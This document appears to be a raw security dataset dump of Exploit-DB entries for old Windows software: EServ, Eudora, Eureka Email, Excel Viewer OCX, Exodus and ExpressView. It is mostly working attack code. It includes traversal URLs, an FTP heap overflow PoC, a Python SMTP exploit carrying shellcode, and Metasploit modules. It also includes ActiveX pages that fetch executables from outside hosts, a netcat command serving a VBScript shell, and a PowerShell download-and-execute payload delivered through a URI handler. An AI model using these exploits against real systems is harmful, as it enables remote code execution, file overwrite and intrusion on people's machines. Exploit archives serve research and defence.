deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22636
Description: EServ 2.9x - Directory Indexing
Type: remote
Platform: windows
Date: 2003-05-23
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/7669/info

EServ does not sufficiently prevent web users from being able to view directory indexes. This may result in disclosure of sensitive information. 

GET /? HTTP/1.1
Exploit-DB #21211
Description: EServ 2.9x - Password-Protected File Access
Type: remote
Platform: windows
Date: 2002-01-10
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/3838/info

EServ is a combination Mail, News, Web, FTP and Proxy Server for Microsoft Windows 9x/NT/2000 systems.

It is possible to construct a web request which is capable of accessing the contents of password protected files/folders on the webserver, such as the admin folder, which contains the administrative interface.

It should be noted that this vulnerability may only be exploited to access password-protected files in sub-folders of wwwroot. 

The following example will give the attacker access to the administrative interface:

http://host/./admin/
Exploit-DB #19601
Description: etype eserv 2.50 - Directory Traversal
Type: remote
Platform: windows
Date: 1999-11-04
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/773/info

Etype's Eserv product is designed to be a one-source internet connectivity solution, incorporating mail, web, ftp, and proxy servers into one package. The web server will allow remote browsing of the entire filesystem by the usage of ../ strings in the URL. This gives an attacker read access to every file on the server's filesystem that the webserver has access to. 

http://victim.com/../../../autoexec.bat
Exploit-DB #19997
Description: Etype Eserv 2.9.2 - Logging Buffer Overflow
Type: remote
Platform: windows
Date: 2000-05-10
Author: Wizdumb

Exploit:
source: https://www.securityfocus.com/bid/1315/info

EType EServ is a combination mail, news, HTTP, FTP, and proxy server.

The logging mechanism in EType EServ is vulnerable to a heap buffer overflow that could allow remote attackers to execute arbitrary code on the server. The overflow occurs when a MKD command with an unusually long argument is sent to the FTP Server port. 

/* Proof of concept code for the heap overflow in EServ <= 2.9.2
 * Written 10/05/2000 by Andrew Lewis aka. Wizdumb [MDMA]
 */

import java.io.*;
import java.net.*;

class eservheap {

public static void main(String[] args) throws IOException {

  if (args.length < 1) {
    System.out.println("Syntax: java eservheap [host] <user> <pass>");
    System.exit(1); }

  Socket soq = null;
  PrintWriter white = null;
  BufferedReader weed = null;

  try {
    soq = new Socket(args[0], 21);
    white = new PrintWriter(soq.getOutputStream(), true);
    weed = new BufferedReader(new
InputStreamReader(soq.getInputStream()));
  } catch (Exception e) {
    System.out.println("Problems connecting :-/");
    System.exit(1); }

  weed.readLine();
  String juzer = (args.length == 3) ? ("USER " + args[1]) : "USER
anonymous";
  String pasz =  (args.length == 3) ? ("PASS " + args[2]) : "PASS mdma";
  white.println(juzer + "\n" + pasz);
  weed.readLine();
  weed.readLine();

  white.print("MKD ");
  for (int i = 0; i < 10000; i++) white.print("A");
  white.println(); // uNf! Who yoh daddy, bitch?
  weed.readLine();
  white.println("QUIT"); } }
Exploit-DB #572
Description: Eudora 6.2.0.7 - Attachment Spoofer
Type: remote
Platform: windows
Date: 2004-10-11
Author: Paul Szabo

Exploit:
#!/usr/bin/perl -- 


use MIME::Base64; 


print "From: me\n"; 
print "To: you\n"; 
print "Subject: Eudora 6.2.0.7 on Windows spoof\n"; 
print "MIME-Version: 1.0\n"; 
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n"; 
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n"; 


print "--zzz\n"; 
print "Content-Type: text/plain\n"; 
print "Content-Transfer-Encoding: 7bit\n\n"; 
print "With spoofed attachments, we could 'steal' files (after a warning?) 
if the message was forwarded (not replied to).\n"; 


print "\n--zzz\n"; 
print "Content-Type: text/html; name=\"qp.txt\"\n"; 
print "Content-Transfer-Encoding: quoted-printable \n"; 
print "Content-Disposition: inline; filename=\"qp.txt\"\n\n"; 
print "Within text/html part, use &lt;/x-html&gt; to get back to plaintext, 
no need for NUL or linebreak or nothing: 
</x-html>\n"; 
print "Attachment Converted=00: \"c:\\winnt\\system32\\calc.exe\"\n"; 
print "Attachment Converted= 
: \"c:\\winnt\\system32\\calc.exe\"\n"; 
print "Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\n"; 


print "\n--zzz--\n"; 


# milw0rm.com [2004-10-11]
Exploit-DB #3934
Description: Eudora 7.1 - SMTP ResponseRemote Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-15
Author: h07

Exploit:
#!/usr/bin/python
# Eudora 7.1 SMTP Response 0day Remote Buffer Overflow PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on Eudora 7.1.0.9 / XP SP2 Polish
# Shellcode type: Windows Execute Command (calc.exe)
# Note:..
# This vulnerability can be exploited only if user
# will ignore warning about "buffer overflow" error.
##

from struct import pack
from time import sleep
from socket import *

bind_addr = '0.0.0.0'
bind_port = 25

shellcode = (
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

opcode = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish)

buf = "250-"
buf += "A" * 76
buf += pack("<L", opcode)
buf += "\x90" * 32
buf += shellcode
buf += "\r\n"

s = socket(AF_INET, SOCK_STREAM)
s.bind((bind_addr, bind_port))
s.listen(1)
print "Listening on %s:%d..." % (bind_addr, bind_port)
cl, addr = s.accept()
print "Connected accepted from: %s" % (addr[0])
cl.send('220 Dupa Jasia\r\n')
print cl.recv(1024)[:-1]
cl.send(buf)
sleep(1)
cl.close()
s.close()
print "Done"

# EoF

# milw0rm.com [2007-05-15]
Exploit-DB #10365
Description: Eureka Email 2.2q - ERR Remote Buffer Overflow (Metasploit) (1)
Type: remote
Platform: windows
Date: 2009-12-09
Author: dookie

Exploit:
class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking

        include Msf::Exploit::Remote::TcpServer
        include Msf::Exploit::Egghunter

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
                        'Description'    => %q{
                                This module exploits a buffer overflow in the Eureka Email 2.2q
                                client that is triggered through an excessively long ERR message.
                        },
                        'Author'         => [ 'Francis Provencher', 'Dr_IDE', 'dookie', ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 7724 $',
                        'References'     =>
                                [
                                        [ 'URL', 'http://www.exploit-db.com/exploits/10235' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'seh',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 2000,
                                        'BadChars' => "\x00\x0a\x0d\x20",
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll
                                        [ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp user32.dll
                                ],
                        'Privileged'     => false,
                        'DefaultTarget'  => 0))

                register_options(
                        [
                                OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
                        ], self.class)
        end

        def on_client_connect(client)
                return if ((p = regenerate_payload(client)) == nil)

                # Unleash the Egghunter!
                eh_stub, eh_egg = generate_egghunter

                buffer =  "-ERR "
                buffer << rand_text_alpha_upper(710)
                buffer << [target.ret].pack('V')
                buffer << make_nops(10)
                buffer << eh_stub
                buffer << make_nops(200)
                buffer << rand_text_alpha_upper(2000)
                buffer << eh_egg * 2
                buffer << payload.encoded
                client.put(buffer)
        end

end
Exploit-DB #16443
Description: Eureka Email Client 2.2q - ERR Remote Buffer Overflow (Metasploit) (2)
Type: remote
Platform: windows
Date: 2010-08-25
Author: Metasploit

Exploit:
##
# $Id: eureka_mail_err.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
			# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
			# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
			'Description'    => %q{
				This module exploits a buffer overflow in the Eureka Email 2.2q
				client that is triggered through an excessively long ERR message.

				NOTE: this exploit isn't very reliable. Unfortunately reaching the
				vulnerable code can only be done when manually checking mail (Ctrl-M).
				Checking at startup will not reach the code targeted here.
			},
			'Author' 	 =>
				[
					'Francis Provencher (Protek Research Labs)',
					'Dr_IDE',
					'dookie',
					'jduck'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10150 $',
			'References'     =>
				[
					[ 'CVE', '2009-3837' ],
					[ 'OSVDB', '59262 ' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 700,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Win XP SP3 English',	{ 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
					[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
				],
			'Privileged'     => false,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 22 2009'
			))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		# the offset to eip depends on the local ip address string length...
		already = "Your POP3 server had a problem.\n"
		already << datastore['LHOST']
		already << " said:\n\n    -ERR "
		space = (512+256+4) - already.length

		buffer =  "-ERR "
		buffer << make_nops(space - payload.encoded.length)
		buffer << payload.encoded
		buffer << [target.ret].pack('V')
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
		buffer << "\r\n"

		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
		client.put(buffer)

		handler
		service.close_client(client)
	end

end
Exploit-DB #7763
Description: Excel Viewer OCX 3.2 - Remote Command Execution
Type: remote
Platform: windows
Date: 2009-01-14
Author: Stack

Exploit:
<HTML>
---------------------------------------------------------- <br>
 Excel Viewer OCX 3.2 Remote File execution exploit        <br>
---------------------------------------------------------- <br>
-----------------------------------<br>
#  By Mountassif Moad a.k.a Stack #
-----------------------------------<br>
<!--
v4 Team & evil finger
Class EXCEL
GUID: {18A295DA-088E-42D1-BE31-5028D7F9B965}
Number of Interfaces: 1
Default Interface: _DEXCEL
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Report for Clsid: {18A295DA-088E-42D1-BE31-5028D7F9B965}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data 
IPersist Safe:  Safe for untrusted: caller,data 
IPStorage Safe:  Safe for untrusted: caller,data   -->
<title>Excel Viewer OCX 3.2 Remote File execution exploit</title>
<BODY>
 <object id=Stack classid="clsid:{18A295DA-088E-42D1-BE31-5028D7F9B965}"></object>
<SCRIPT>
function Do_it()
 {
   File = "http://monmaroc.com/calc.exe"
   Stack.OpenWebFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="exploit">
</body>
</HTML>

# milw0rm.com [2009-01-14]
Exploit-DB #7739
Description: ExcelOCX ActiveX 3.2 - Download File Insecure Method
Type: remote
Platform: windows
Date: 2009-01-12
Author: Alfons Luja

Exploit:
<html>
<body>
/*
--=0-0-000000000--x==-xxxxxxxxx<br/>
  - 
    Excel Viewer OCX 3.2        <br/>
    homepage: www.officeocx.com <br/>
    download: www.brothersoft.com/excel-viewer-ocx-51797.html <br/>
 
  - RegKey Safe for Script: True<br/>
  - RegKey Safe for Init: True   <br/>
  - Implements IObjectSafety: True <br/>
  - IDisp Safe:  Safe for untrusted: caller,data <br/>  
  - IPersist Safe:  Safe for untrusted: caller,data  <br/> 
  - IPStorage Safe:  Safe for untrusted: caller,data  <br>
  - Tested on Avant Browser 11.7.21 ie 6
                                                       <br/>
Vuln:                                                 <br/>
   1) Arbitrary File Download [HttpDownloadFile]<br/>
   2) Arbitrary file owerwrite [Save]  <br/>
                                         <br/>
  --==0-[PII_REDACTED]===    <br/>

    Propably it worst apps i ever see                      <br/>
    this is  funy  that It is meant as Safe for scripting   <br/>
    They want sell it l0l <br/>
             
---000----------++++---------------000  <br/>
         Alfons Luja                    <br/>
     Pozdrawiam swoich fanÃ³F               <br/>
           9002                            <br/>
            :P                              <br/>
00 -[PII_REDACTED]===------------------x <br/>
*/<br/>

<div style="visibility:hidden;">
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='kupa'></object>
<script type="text/javascript">
/* 
    I dont know why but this code act correct only first time
    later it just crash ie 
    In avant browser always is ok but it is necessary to wait a lot time 
    to finsh loading 
    - strange :x 
*/    

 try{
    var obj = document.getElementById('kupa');
    var rem = "http://www.adalex.pl/motyl/motyl-radio.exe";
    var loc = "C:\evil.exe";
    obj.Save("C:\owerwrite.ini");
    obj.HttpDownloadFile(rem,loc);
 }
 catch(err){
       window.alert('Poc failed');
 }
</script>
</div>
</body>
</html>   

# milw0rm.com [2009-01-12]
Exploit-DB #7145
Description: Exodus 0.10 - URI Handler Arbitrary Parameter Injection (1)
Type: remote
Platform: windows
Date: 2008-11-17
Author: Nine:Situations:Group

Exploit:
--------------------------------------------------------------------------------
Exodus v0.10 uri handler arbitrary parameter injection
by Nine:Situations:Group::strawdog
tested against IE8b/xpsp3
may not work against non-English systems because of an installation bug
--------------------------------------------------------------------------------
software site: http://code.google.com/p/exodus/
description:
Exodus is a free software instant messaging client developed by Peter
Millard and written in Borland Delphi that can connect to Jabber servers
and exchange messages with other Jabber users. Currently, binaries are
only available for Microsoft Windows. Exodus was designed as the official
successor of the Winjab client, as Winjab was a personal project that
was becoming too difficult to maintain[..]
--------------------------------------------------------------------------------

reg key:
HKEY_CLASSES_ROOT\im\shell\Open\command
C:\Program Files\Exodus\Exodus.exe -u '%1'
--------------------------------------------------------------------------------
it's possible to inject arbitrary command line parameters, ex. this shows
the argument list:
im:///'%20-?

this overwrites an arbitrary file:
im:///'%20-l%20c:\boot.ini%20-v

now boot.ini looks like this:
[2008-11-17 13.50.41.437]  Trying to setup the Auto Away timer.
[2008-11-17 13.50.41.453]  Using Win32 API for Autoaway checks!!
--------------------------------------------------------------------------------
todo:
investigate this even:
im:///'%20-c%20[A*300]

this will cause an infinite loop trough multiple unhandled exceptions
and this:
im:///'%20-c%20file:///aaaa%20
crash exodus.exe
--------------------------------------------------------------------------------
our site ---------------------------------------> http://retrogod.altervista.org

# milw0rm.com [2008-11-17]
Exploit-DB #7167
Description: Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)
Type: remote
Platform: windows
Date: 2008-11-20
Author: Nine:Situations:Group

Exploit:
<!--
Exodus v0.10 remote code execution exploit
by Nine:Situations:Group::strawdog

This uses the "-l" argument to overwrite a file
inside Microsoft Help and Support Center folders (oh rgod...)

Firstly run netcat in listen mode to drop the vbscript shell
run this script:

@echo off
rem dropsh.cmd
echo ^<SCRIPT LANGUAGE="VBScript"^> > testfile
echo Dim wshShell >> testfile
echo Set wshShell = CreateObject("WScript.Shell") >> testfile
echo wshShell.Run("cmd /c start calc") >> testfile
echo ^</SCRIPT^> >> testfile
nc -L -s 192.168.0.1 -p 5222 -vv < testfile

-->
<html>
<head>
<script type="text/javascript">
<!--
function doRedirect() {
location.href = "hcp://system/sysinfo/msinfo.htm";
}
function runcalc() {
window.setTimeout("doRedirect()", 10000);
}
//-->
</script>
<a href="im:///'%20-l%20C:\WINDOWS\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm%20-j%20strawdog@192.168.0.1%20-p%20AAAA%20%00" onClick="runcalc()">click me</a><br>
<a href="pres:///'%20-l%20C:\WINDOWS\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm%20-j%20strawdog@192.168.0.1%20-p%20AAAA%20%00" onClick="runcalc()">click me</a>
</html>

# milw0rm.com [2008-11-20]
Exploit-DB #43899
Description: Exodus Wallet (ElectronJS Framework) - Remote Code Execution
Type: remote
Platform: windows
Date: 2018-01-25
Author: Wflki

Exploit:
<!doctype html>
<script>
  window.location = 'exodus://aaaaaaaaa" --gpu-launcher="cmd" --aaaaa='
</script>
Exploit-DB #44357
Description: Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2018-03-29
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Exodus Wallet (ElectronJS Framework) remote Code Execution',
      'Description'  => %q(
         This module exploits a Remote Code Execution vulnerability in Exodus Wallet,
         a vulnerability in the ElectronJS Framework protocol handler can be used to
         get arbitrary command execution if the user clicks on a specially crafted URL.
      ),
      'License'      => MSF_LICENSE,
      'Author'       =>
        [
          'Wflki',          # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
      'DefaultOptions' =>
        {
          'SRVPORT'    => '80',
          'URIPATH'    => '/',
        },
      'References'     =>
        [
          [ 'EDB', '43899' ],
          [ 'BID', '102796' ],
          [ 'CVE', '2[PII_REDACTED]' ],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['PSH (Binary)', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 25 2018'
    ))

  register_advanced_options(
    [
      OptBool.new('PSH-Proxy', [ true,  'PSH - Use the system proxy', true ]),
    ], self.class
  )
  end

  def gen_psh(url)
      ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

      download_and_run = "#{ignore_cert}#{download_string}"

      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def serve_payload(cli)
   data = cmd_psh_payload(payload.encoded,
      payload_instance.arch.first,
      remove_comspec: true,
      exec_in_place: true
    )

    print_status("Delivering Payload")
    send_response_html(cli, data, 'Content-Type' => 'application/octet-stream')
  end

  def serve_page(cli)
    psh = gen_psh("#{get_uri}payload")
    psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'")
    val = rand_text_alpha(5)

    html = %Q|<html>
<!doctype html>
<script>
  window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}='
</script>
</html>
|
    send_response_html(cli, html)
  end

  def on_request_uri(cli, request)
    case request.uri
    when /payload$/
      serve_payload(cli)
    else
      serve_page(cli)
    end
  end

end
Exploit-DB #36542
Description: ExpressView Browser Plugin 6.5.0.3330 - Multiple Integer Overflow / Remote Code Execution Vulnerabilities
Type: remote
Platform: windows
Date: 2012-01-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/51367/info

ExpressView Browser Plug-in is prone to multiple integer overflow and remote code-execution vulnerabilities.

Successful attacks will allow attackers to execute arbitrary code within the context of the application. Failed exploit attempts will result in a denial-of-service condition.

ExpressView Browser Plug-in 6.5.0.3330 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36542.zip